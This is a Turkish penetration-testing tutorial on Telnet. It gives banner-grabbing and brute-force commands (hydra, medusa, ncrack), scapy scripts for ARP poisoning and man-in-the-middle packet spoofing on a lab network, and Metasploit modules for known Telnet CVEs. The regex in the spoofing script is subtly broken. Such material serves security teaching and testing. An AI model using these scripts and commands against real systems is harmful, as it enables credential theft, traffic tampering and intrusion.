Telnet Nedir?
Telnet, TCP/IP ağında bulunan iki cihazın arasında shell açmak için kullanılır. Genellikle 23 veya 992 numaralı portta bulunur, bağlanmak için bir telnet istemcisi gerekir. Telnet istemcisi, sunucuya bağlanmak için kullanılan bir uygulamadır.
Telnete bağlanmak için kullanıcı adı ve parola bilgileri kullanılır. Bu protokol günümüzde neredeyse hiç kullanılmamaktadır. Bence de kullanılmaması gereken bir protokoldür. Güvenlik açısından eksik olan bu protokol, iki bilgisayar arasındaki iletişimi düz bir metin biçiminde yapmaktadır. Bu yüzden bir saldırgan MITM saldırısı yaparak kullanıcı adı parola bilgilerini vs. yakalayabilir.
Günümüzde telnet yerine daha güvenli olan, şifreli iletişim sağlayan, SSH(Secure Shell) kullanılır.
TELNET Protokolüne Yönelik Sızma Testi
Shodan Araması
Temel Bilgiler
Banner Grabbing
1
2
3
4
| nc -nv 10.10.11.101 23
telnet 10.10.11.101 23
nmap -sV -p 23 10.10.11.101
msf6 > use auxiliary/scanner/telnet/telnet_version
|
Nmap Scriptleri
1
2
3
4
5
| # ls /usr/share/nmap/scripts/ | grep telnet
telnet-brute.nse
telnet-encryption.nse
telnet-ntlm-info.nse # NTLM bilgilerini (Windows sürümleri) elde eder.
|
Telnet Bağlanma
1
| # telnet 10.10.11.101 23
|
1
2
3
4
5
6
| # msfconsole -q
# search telnet
auxiliary/server/capture/telnet
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/telnet/telnet_version
|
Brute Force
1
2
3
4
| hydra -L userlist.txt -P passlist.txt 10.10.11.101 -s 23 telnet
medusa -U userlist.txt -P passlist.txt -h 10.10.11.101 -n 23 -M telnet
ncrack -U userlist.txt -P passlist.txt 10.10.11.101 -p telnet:23
msf6 > use auxiliary/scanner/telnet/telnet_login
|
WireShark İle Paket Yakalama
MITM Attack
Who is? | IP Address | MAC Address |
---|
Attacker | 10.10.11.100 | 00:0c:29:8d:82:d6 |
Telnet Server | 10.10.11.101 | 00:0c:29:7f:ed:0a |
Client(Victim) | 10.10.11.102 | 00:0c:29:dd:3c:05 |
arp-poisoning.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| #!/usr/bin/python3
from scapy.all import *
#SERVER
E1 = Ether(dst="00:0c:29:7f:ed:0a", src="00:0c:29:8d:82:d6")
#VICTIM
E2 = Ether(dst="00:0c:29:dd:3c:05", src="00:0c:29:8d:82:d6")
A = ARP(hwsrc="00:0c:29:8d:82:d6",psrc="10.10.11.102",hwdst="00:0c:29:7f:ed:0a",pdst="10.10.11.101")
B = ARP(hwsrc="00:0c:29:8d:82:d6",psrc="10.10.11.101",hwdst="00:0c:29:dd:3c:05",pdst="10.10.11.102")
pkt1 = E1/A
pkt2 = E2/B
sendp(pkt1)
sendp(pkt2)
|
sniffspoof.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| #!/usr/bin/python3
from scapy.all import *
import re
VM_A_IP = '10.10.11.101'
VM_B_IP = '10.10.11.102'
VM_A_MAC = '00:0c:29:7f:ed:0a'
VM_B_MAC = '00:0c:29:dd:3c:05'
def spoof_pkt(pkt):
if pkt[IP].src == VM_A_IP and pkt[IP].dst == VM_B_IP and pkt[TCP].payload:
newpkt = IP(pkt[IP])
del(newpkt.chksum)
del(newpkt[TCP].chksum)
del(newpkt[TCP].payload)
olddata = pkt[TCP].payload.load # Get the original payload data
#updated code lines, instead of line : " newdata = 'Z' "
olddata = olddata.decode()
data = re.sub(r'a-zA-Z', r'Z', olddata)
newdata = data.encode()
#End of updated code lines
send(newpkt/newdata)
elif pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_A_IP:
send(pkt[IP]) # Forward the original packet
pkt = sniff(filter='tcp',prn=spoof_pkt)
|
arp-poisoning
başarılı bir şekilde yapılmış.
sniffspoof.py
scripti çalıştırıldıktan sonra kurban sunucuya telnet ile bağlanır.
Belirli Zafiyetler ve Exploitler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| #BOF: FreeBSD 7.3 – 9.0; MIT Kerberos v5 Applications (krb5-appl) <= 1.0.2; Heimdal <= 1.5.1; GNU inetutils [CVE-2011-4862]
msf6 > use auxiliary/scanner/telnet/telnet_encrypt_overflow
msf6 > use exploit/linux/telnet/telnet_encrypt_keyid
msf6 > use exploit/freebsd/telnet/telnet_encrypt_keyid
#SenNet Optimal DataLogger <= V5.37c-1.43c; SenNet Solar Datalogger <= V5.03-1.56a; SenNet Multitask Meter <= V5.21a-1.18b [CVE-2017-6048] [TCP/5000]
msf6 > use auxiliary/scanner/telnet/satel_cmd_exec
#RuggedCom Rugged Operating System (ROS) Telnet backdoor [CVE-2012-1803]
Exploit-DB: 18779.txt
msf6 > use auxiliary/scanner/telnet/telnet_ruggedcom
#Lantronix Device Server V5.8.0.1 [UDP\30718]
msf6 > use auxiliary/scanner/telnet/lantronix_telnet_password
|